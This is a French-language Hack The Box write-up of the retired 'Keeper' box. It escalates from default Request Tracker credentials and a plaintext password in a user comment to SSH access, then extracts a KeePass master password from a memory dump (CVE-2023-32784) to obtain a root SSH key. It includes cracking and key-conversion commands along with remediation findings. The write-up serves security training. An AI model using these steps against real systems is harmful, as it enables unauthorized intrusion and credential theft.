Linux Easy
Keeper : un ticket RT, un dump KeePass et une clé PuTTY vers root
Identifiants par défaut sur Request Tracker, mot de passe exposé en commentaire interne, puis récupération d'un mot de passe maître KeePass depuis un dump mémoire pour extraire une clé SSH root.
Box retirée par Hack The Box. Write-up publié dans le respect des règles de la plateforme, flags masqués.
TL;DR
- Un portail Request Tracker (RT) accessible sur
tickets.keeper.htb, pris en identifiants par défaut (root/password). - Un ticket mentionne un crash dump de KeePass, retiré de RT mais laissé dans le home du technicien sur la machine cible.
- Le profil utilisateur du même technicien révèle son mot de passe initial en clair dans un champ de commentaire administrateur.
- Accès SSH direct avec ce mot de passe, récupération de l'archive contenant le dump KeePass et la base
.kdbx. - Récupération du mot de passe maître (partiel) depuis le dump mémoire (CVE-2023-32784), base ouverte, clé privée SSH root trouvée dedans.
Reconnaissance
nmap -sVC -T4 10.129.229.41PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).Le port 80 ne montre rien d'intéressant à la racine. Un scan nuclei sur le vhost découvert ensuite révèle la vraie cible :
[request-tracker-panel] [http] [info] http://tickets.keeper.htb/rt/ ["4.4.4"]
[email-extractor] [http] [info] http://tickets.keeper.htb/rt/ ["sales@bestpractical.com"]Request Tracker (RT) de BestPractical, version 4.4.4, exposé sur le sous-domaine tickets.keeper.htb.
Énumération
echo "10.129.229.41 keeper.htb tickets.keeper.htb" | sudo tee -a /etc/hostsIdentifiants par défaut
root / passwordLes identifiants par défaut de Request Tracker fonctionnent directement, accès admin complet au panneau.

Un ticket qui ne mène nulle part directement
Le ticket récemment ouvert (#300000, "Issue with Keepass Client on Windows") mentionne un crash dump de KeePass joint par l'utilisateur root, mais un commentaire plus tardif de la technicienne assignée indique :
I have saved the file to my home directory and removed the attachment
for security reasons.Le fichier n'est donc plus récupérable depuis RT. Il faut chercher ailleurs un point d'entrée sur la machine.

Foothold
Mot de passe exposé dans le profil utilisateur
Le ticket est assigné à lnorgaard (Lise Nørgaard). En consultant sa fiche utilisateur RT (Admin > Users ou via le lien sur le ticket), puis "Edit" :

Le champ "Comments about this user", visible par un admin, contient :
New user. Initial password set to Welcome2023!
Accès SSH
ssh lnorgaard@10.129.229.41Le mot de passe fonctionne directement.
lnorgaard@keeper:~$ ls
RT30000.zip user.txt
lnorgaard@keeper:~$ cat user.txtL'archive RT30000.zip dans le home correspond exactement au fichier évoqué dans le ticket, retiré de RT mais jamais supprimé de la machine.
unzip RT30000.zipinflating: KeePassDumpFull.dmp
extracting: passcodes.kdbxÉlévation vers root
Exfiltration et tentative de cassage classique
scp lnorgaard@10.129.229.41:RT30000.zip .
unzip RT30000.zip
keepass2john passcodes.kdbx > hash.txt
haiti $(cat hash.txt)KeePass 2 (KDBX 3) / AES 256 enc. / AES-KDF / without keyfile [JtR: keepass]john --wordlist=rockyou.txt hash.txtLe cassage par dictionnaire classique est trop lent (KDF à 60000 rounds), sans résultat en un temps raisonnable. Direction le dump mémoire plutôt que le bruteforce.
Récupération du mot de passe maître depuis le dump (CVE-2023-32784)
KeePass 2.x avant correctif laisse des fragments du mot de passe maître en mémoire à cause d'un nettoyage incomplet d'un SecureString de TextBox. Un dump mémoire du processus (comme celui du ticket) permet d'en reconstruire une grande partie.
dotnet run ../KeePassDumpFull.dmpPassword candidates (character positions):
Unknown characters are displayed as "●"
1.: ●
2.: ø, Ï, ,, l, `, -, ', ], §, A, I, :, =, _, c, M,
...
Combined: ●{ø, Ï, ,, l, `, -, ', ], §, A, I, :, =, _, c, M}dgrød med flødeLe premier caractère et une partie du deuxième restent incertains (plusieurs candidats), mais le reste du mot de passe est récupéré en clair : dgrød med fløde.
keepassxc-cli open ../passcodes.kdbx <<< "rødgrød med fløde"Error while reading the database: Invalid credentials were provided, please try again.Plusieurs variantes de casse et de caractère de tête ont été nécessaires avant de tomber sur la bonne combinaison, le dump ne donnant qu'un ensemble de candidats pour les premiers caractères, pas la valeur exacte.
Ouverture de la base et récupération de la clé root
Une fois la base ouverte (kpcli, plus pratique que keepassxc-cli pour naviguer dans les groupes) :
kpcli --kdb passcodes.kdbxkpcli:/> cd passcodes/Network/
kpcli:/passcodes/Network> ls
=== Entries ===
0. keeper.htb (Ticketing Server)
1. Ticketing System
kpcli:/passcodes/Network> show -f 0Title: keeper.htb (Ticketing Server)
Uname: root
Pass: F4><3K0nd!
Notes: PuTTY-User-Key-File-3: ssh-rsa
Encryption: none
...
Private-MAC: b0a0fd2edf4f0e557200121aa673732c9e76750739db05adc3ab65ec34c55cb0L'entrée contient une clé privée PuTTY complète pour root dans son champ Notes.
sudo apt install putty-tools
nano keeper.ppk # coller le contenu de la clé PuTTY
puttygen keeper.ppk -O private-openssh -o id_rsa
chmod 600 id_rsa
ssh -i id_rsa root@keeper.htbroot@keeper:~# cat root.txtFindings
| # | Constat | Sévérité (CVSS v4) | Remédiation |
|---|---|---|---|
| F1 | Identifiants par défaut (root/password) sur le panneau d'administration Request Tracker | Critique | Changer les identifiants par défaut à l'installation, restreindre l'accès réseau au panneau admin |
| F2 | Mot de passe initial d'un utilisateur stocké en clair dans un champ de commentaire visible par tout admin RT | Élevée | Ne jamais consigner un mot de passe, même temporaire, dans un champ texte ; forcer un changement au premier login |
| F3 | Crash dump KeePass contenant des fragments du mot de passe maître laissé accessible dans le home d'un utilisateur | Élevée | Ne jamais conserver un dump mémoire d'une application de gestion de mots de passe ; mettre à jour KeePass au-delà de la version affectée par CVE-2023-32784 |
| F4 | Clé privée SSH root stockée en clair dans le champ Notes d'une entrée KeePass | Critique | Ne jamais stocker une clé privée dans un champ de notes non dédié ; utiliser l'attachement de fichier chiffré natif de KeePass au minimum, idéalement un coffre dédié aux secrets d'infrastructure |
Leçons apprises
- Un panneau d'administration d'outil tiers (RT, Jira, GLPI...) mérite systématiquement un test d'identifiants par défaut avant toute autre piste.
- Le header Referrer vérifié par RT contre son hostname interne peut donner un faux positif CSRF trompeur si on navigue par un vhost différent de celui configuré côté serveur ; toujours vérifier le hostname attendu par l'application plutôt que de chercher une vraie faille CSRF.
- Les pièces jointes supprimées d'un ticket ne sont pas nécessairement supprimées du disque : vérifier systématiquement les répertoires personnels des utilisateurs mentionnés dans un ticket.
- CVE-2023-32784 ne donne pas le mot de passe maître complet à coup sûr : les premiers caractères restent souvent ambigus (plusieurs candidats), il faut itérer sur les combinaisons plutôt que supposer un échec total de la méthode.
- Quand un outil .NET cible une version de SDK non installée, modifier directement le
<TargetFramework>dans le.csprojavecsedest plus rapide que d'installer un SDK supplémentaire. kpcliest plus confortable quekeepassxc-clipour naviguer dans l'arborescence de groupes d'une base KeePass complexe.